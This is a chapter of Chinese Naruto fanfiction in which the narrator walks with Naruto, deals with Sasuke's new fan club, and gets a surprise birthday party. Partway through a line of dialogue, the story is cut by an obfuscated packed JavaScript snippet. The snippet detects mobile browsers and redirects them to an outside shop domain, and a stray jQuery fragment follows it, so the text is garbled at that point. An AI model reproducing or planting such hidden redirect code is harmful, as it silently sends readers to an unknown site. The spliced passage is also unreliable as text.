周日我再次睡了懒觉。
严格意义上来说也不是懒觉,我只是睡的晚也起得晚。
醒来的时候已经快到中午,小白趴在地板上晒太阳,听见我起床,只懒洋洋地掀了一下眼皮。
我坐在床边发了一会儿呆,不想出门,但是想起我鸣人对我随口答应的事情记了那么久,我就有点愧疚。
鸣人看起来太可怜了,这个时代的小孩也都惨兮兮的,我觉得我的善良还是有点多,这不是一个好兆头。新的生活我立志要做冷酷无情的人。
我洗漱完换了衣服,给小白开了罐头再出门去找鸣人。
我走到约好的地方时,远远就看见鸣人蹲在栏杆上。
他蹲在那里,双手扶着膝盖,金色的头发被风吹得得扬起。他等得太久,一会儿看看路口,又一会儿抬头看天。
我走近一点,他就看见了我。鸣人立刻从栏杆上跳下来,朝我跑过来,兴奋大喊:“夜澄!夜澄!”
他的声音响亮,整个人都带着一种用不完的朝气,好像下午的太阳全部塞进了他身体里。
好灿烂,我要睁不开眼睛了。
“你等我很久了吗?”
鸣人摇头:“没有啊!”这是假话,我没有拆穿他。
鸣人意外的很会察言观色,我还以为他是那种大大咧咧的性格呢。
“那我们今天去哪里散步?”
我随口说:“附近的商业街吧。”
鸣人低下头:“好。”他听起来有点低落。
村里的人不喜欢鸣人,商业街会有很多人,他不喜欢那些视线,这点我还是很有体会的。
我换了个提议:“也可以去公园的湖边走走。”
鸣人重新开心起来:“好呀!”
我们往公园走。
路上鸣人一直在说话,都是他日常恶作剧的事情,小孩的事情都很无聊,我假装自己在听,偶尔应几声。
还好现在是夏季的末尾,没有令人难受的高温,不然就算他再可怜,我也不会出来。
走到一半,鸣人忽然看着我说:“果然夜澄不在学校就不会穿忍者的衣服啊。”
今天我穿的是一件白色的连衣裙配宽松长裤,木叶基本上没有人这样穿,确实和学校里那套方便行动的忍者衣服完全不一样。
主要还是木叶主流审美土。
我不会冷落小朋友,回答他:“是啊。”
鸣人像发现了什么秘密一样,兴奋起来:“夜澄不喜欢忍者的衣服吗?”
“对。”
“为什么?”
“难看。”我觉得我说的很委婉,真的很难看啊。
鸣人愣住了,毕竟没有人这么点评过,甚是还骂了所有人。
鸣人眨了眨眼:“那夜澄喜欢什么?”
“不知道。”
“怎么会不知道?”鸣人歪头看我,“夜澄喜欢看书呀。”
我只能说:“对哦。”
鸣人笑嘻嘻地说:“好羡慕夜澄。”
“羡慕什么?”
鸣人低下头,他有些脸红,脚尖踢了踢地上的小石子,声音也变小了:“夜澄有好多朋友。”
我看他在学校里的表现,还以为他是不会说这种话的小孩,毕竟这个年纪的小男孩嘴硬居多。
公园里的树叶开始变黄了,湖水被风吹出波纹,远处有几个孩子在追逐打闹,我不喜欢吵闹。
鸣人站在我旁边,低着头。
为什么要和我说这些?
和我说了也没有用吧。我不懂,是期待我安慰他吗?安慰两句也不会改变现状的,鸣人。
我都能想到他的未来,火影的儿子,九尾的人柱力,漩涡的姓氏,他是特殊的。
现在居然被村子里的人讨厌,扉间的继任者在想什么,三代目这样安排的目的是什么。
我直接剧透了他的未来:“鸣人,你长大以后什么都会有的。”
鸣人睁大眼睛看着我,从来没有人这么跟他说过。
他喃喃:“什么都会有?”
千手就什么都有了,鸣人这种小孩,一看就知道他是正义的孩子。
我无所谓哄不哄孩子了,我想起不好的回忆,有些头疼的再次说:“鸣人将来什么都会有的。”
鸣人看着我,他的眼里在发光,让我看得难受。
“那我要早点长大。”他说。
我点头往前走,不去看鸣人,他会自己跟上来。
我们就这样沿着湖边散步,鸣人跑到我前面,一会儿又折回来。
他给我看湖边奇形怪状的石头,说这个像青蛙,那个像乌龟。我看了半天,觉得都不像,但还是点头表示赞同。
我走不动了,我准备回点心店帮忙,今天和昨天的账还没盘算呢。
鸣人坚持送我到点心店,我问他:“你知道路吗?”
鸣人说:“当然知道!”
毕竟他时常在附近转悠,我猜他是想等我陪他散步,但我很忙,看见他也只能先做自己的事情,我没有揭穿他。
到了商业街附近他就不送我了,我猜到他担心影响我,他说:“夜澄,明天学校见!”
我说:“明天见。”
鸣人挥了挥手,跑远了,我看着他的背影消失在街角。
点心店里一阵忙碌,我在店里吃了晚饭后回家,良子给我准备了上学的便当。小白最近都被我养在家里,点心店人多,小白老了,不爱动弹,我怕他们踩到小白。
小白听见我回来,从坐垫上警觉的抬起头,看见是我,又继续趴下去。我洗了手然后坐到客厅里看书。
我把前几天和佐助一起买的那本《我与我的貌美妻子》看完了。
看完以后,我合上书陷入了沉默,世界上居然还有如此书籍,我大为震撼且十分喜欢。
我打开客厅的障子,抬起头,忽然看见月亮出来了。
我已经很久很久没有看过月亮了。我坐在原地,看着那片月光。
第二个星期,我戴上了新买的红色眼镜。
佐助站在门口等我:“你还是不戴好看。”
我点头:“我也觉得。”
他移开目光:“随便你。”
我们一起往学校走,佐助在路上说:“这周末哥哥难得在家,教了我新的忍具。”
我习以为常的敷衍:“佐助真厉害。”
佐助也习惯了:“你这种时候总是在敷衍我。”
“没有啦。”
佐助沉默,然后说:“算了吧,跟你较真的我才是傻子。”
到了学校以后,我们又不怎么说话了。
佐助在学校里总有一些奇怪的包袱,是宇智波独特的形象管理,不过他偶尔还是会找我聊天。
从这周开始,莫名其妙的,佐助有了后援会。
我第一次听见这个词的时候,差点以为自己穿错了世界,我对这个世界的理解还是太少了,这个世界比我想象的还要复杂。
“后援会?”我问小樱,“这是什么乱七八糟的东西?”
小樱红着脸说:“就是,就是支持佐助君的人聚在一起……”
井野说:“才不是你一个人的佐助君!”她们两个很快开始吵起来。
我悄悄问佐助:“你知道你有后援会了吗?”
佐助哼了一声。
我说:“你哼是什么意思?”
他又哼了一声。
可爱。
小樱和井野逐渐成为了我的下课搭子。
她们两个都很好。她们拉着我说话的时候,像两只小鸟叽叽喳喳地落在我桌边。我大多数时候只是听着,偶尔回答两句。即使这样,她们也能继续说下去。
我上课基本上还是用影分身,影分身在教室里安静地翻书,老师很满意,同学也很满意,只有佐助偶尔会皱着眉看我。
我觉得他发现了,但是他没有拆穿我。
鸣人下课偶尔也会来找我聊天,自从上次我们一起散步后,他也逐渐的在学校里主动与我说话了。
也只是简单的对话,比如吃了吗之类的。
比如这次,他盯着我的眼镜看了很久,终于问:“夜澄,你为什么突然戴眼镜了?”
我说:“因为看书看多了,眼睛就不好了。”
鸣人震惊:“真的吗?看书这么可怕吗?”
“是呀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725765|205100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
鸣人大叫:“那我不要看书了!”
佐助从旁边路过,冷冷地说:“吊车尾本来就不看书吧。”
鸣人不服气,撸起袖子:“你说什么?!”
佐助站住看他,一脸不屑:“我说错了吗?”
小樱和井野冲了过来,她们一个喊“鸣人你不要靠近佐助君”,一个喊“不要在教室里打架”,最后一起把鸣人揍了一顿。
我夹在中间,默默拿出自己带来的点心分给周围的孩子们。
丁次是最开心的,他接过点心满脸兴奋:“可以吃吗?”
我说:“可以。”
鹿丸坐在旁边,撑着脸说:“一大早上的闹什么,好麻烦啊。”
他说着麻烦,还是很客气地收下了我递过去的点心,然后对我道谢。
牙、雏田和志乃也都是很客气的好孩子。牙接得很爽快,雏田小声道谢,志乃安静地把点心收好。
一般这么闹完,他们就又会莫名其妙地开始吵架,话题转得非常快,完全不讲逻辑。
我坐在中间,完成了每日聊天任务,然后心安理得地开始发呆。
周五放学的时候,我和佐助一起回家。
佐助今天很奇怪,时不时看我一眼,又很快移开目光。我问他怎么了,他说没什么。过了一会儿他又看我。我再问,他还是说没什么。
搞不懂小孩。
快到门口的时候,佐助停下来站在原地,手伸进口袋里摸了半天,最后掏出一个盒子递给我。
“这是什么?”
佐助把脸别开:“笨蛋,今天是你的生日啊。”
啊,说起来,生日。
我彻底忘了。
我不记日期的。日子对我来说大多只是重复而已。
我低头打开盒子,里面是一枚很漂亮的水晶发夹。
红色的,亮晶晶的。
我想起了红色的手链,我总是不间断的想起过去的碎片。佐助认真为我挑选的,我不能冠上他人的过去。
我故作震惊地看向佐助:“你怎么知道我喜欢这个?”
佐助的脸更红了,他小声说:“笨蛋,我怎么会不知道。”
我拿着盒子,一时间不知道该说什么,我不能辜负孩子的好意,我斟酌着措辞。佐助也很紧张,我真的有点喜欢佐助了,这个孩子太可爱了。
我最后抛弃花哨的话,选择了最朴素的真心话:“我很喜欢。”
佐助哼了一声:“喜欢就好。”
门一打开,我就发现家里有人。
客厅里坐着止水和鼬。
茶几上放着蛋糕,还有许多零食,小白也带上了生日帽子,正一脸不耐烦的甩着尾巴。
我站在门口,止水忽然拉开了礼炮,彩纸“砰”地炸开,落了我一头。
“生日快乐,小夜!”
鼬坐在旁边鼓掌:“生日快乐。”
佐助站在我身后,也说:“生日快乐。”
彩纸落在地板上,像一场小小的、廉价又热闹的烟花。我许久没有这么开心了,我都不知道该怎么表达才好,我自认为自己是花言巧语的嘴,此时竟然什么也说不出来。
我拎起头上的彩纸,跟着他们说:“生日快乐。”
佐助说:“笨蛋,这是你的生日,你要说的是谢谢才对吧。”
“对哦,谢谢你们。”我感谢佐助给我递来的答案,我许久都没有找到我的真心,都不知道怎么说真心话。
止水把一个盒子推给我:“这是我的。”
我打开一看,是一副新的忍者手套,鼬也递过来一本忍者练习手册,鼬见过佐助拉着我训练,他也讶异我的体术之差:“基础训练不能落下。”
可恶。
我收下了。
小白在这时站起来,凑到我脚边闻了闻那个装着发夹的盒子,又抬头看我,好像是想发表什么意见。
我把它的脑袋推开:“这个不能吃。”
大家都笑起来。
我们在客厅吃了蛋糕,是奇妙的口感。
这个时代的蛋糕并不好吃,奶油在我的舌头上打滑,我好像在吃加了甜味剂的塑料。